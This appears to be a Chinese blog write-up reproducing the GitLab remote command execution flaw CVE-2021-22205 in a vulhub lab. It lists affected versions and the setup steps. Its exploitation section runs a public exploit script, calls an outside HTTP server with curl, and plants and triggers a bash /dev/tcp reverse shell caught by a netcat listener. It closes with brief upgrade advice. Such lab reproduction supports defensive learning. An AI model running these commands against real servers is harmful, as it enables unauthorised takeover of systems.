GitLab 远程命令执行漏洞复现(CVE-2021-22205)
目录一、漏洞描述二、影响版本三、环境搭建四、漏洞复现4.1、脚本复现4.1.1、下载利用脚本一、漏洞描述GitLab 没有正确验证传递给文件解析器的图像文件,这导致远程命令执行,可执行系统命令。这是一个严重的问题。它现在在最新版本中得到缓解,漏洞编号CVE-2021-22205。二、影响版本11.9 <=GitLab(CE/EE)< 13.8.813.9 <=GitLab(CE/
·
一、漏洞描述
GitLab 没有正确验证传递给文件解析器的图像文件,这导致远程命令执行,可执行系统命令。这是一个严重的问题。它现在在最新版本中得到缓解,漏洞编号CVE-2021-22205。
二、影响版本
11.9 <= GitLab(CE/EE)< 13.8.8
13.9 <= GitLab(CE/EE)< 13.9.6
13.10 <= GitLab(CE/EE)< 13.10.3
三、环境搭建
快速搭建,可以使用vulhub
git clone https://github.com/vulhub/vulhub.git
cd vulhub/gitlab/CVE-2021-22205/
docker-compose up -d
环境启动后,访问http://127.0.0.1:8080即可查看到GitLab的登录页面
四、漏洞复现
4.1、脚本复现
4.1.1、下载利用脚本
https://github.com/Al1ex/CVE-2021-22205
4.1.2、检测漏洞是否存在
py CVE-2021-22205.py -v true -t http://192.168.30.56/
4.1.3、命令执行
首先起一个http服务
py -m http.server 1234
然后命令执行
py CVE-2021-22205.py -a true -t http://192.168.30.56/ -c "curl http://192.168.8.14:1234/1.txt"
通过http服务端查看,命令执行成功
4.1.4、反弹shell
#写入反弹shell脚本
py CVE-2021-22205.py -a true -t http://192.168.30.56/ -c "echo 'bash -i >& /dev/tcp/192.168.8.14/6666 0>&1' > /tmp/1.sh"
#赋予shell脚本执行权限
py CVE-2021-22205.py -a true -t http://192.168.30.56/ -c "chmod +x /tmp/1.sh"
#服务器监听6666端口
nc64.exe -lvnp 6666
#获取git权限
py CVE-2021-22205.py -a true -t http://192.168.30.56/ -c "/bin/bash /tmp/1.sh"
五、解决方案
升级到最新版本。
要更新 GitLab,请参阅更新页面。要更新 Gitlab Runner,请参阅更新 Runner 页面。
参考:
https://www.freebuf.com/articles/web/303375.html
https://github.com/Al1ex/CVE-2021-22205
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
已为社区贡献2条内容
所有评论(0)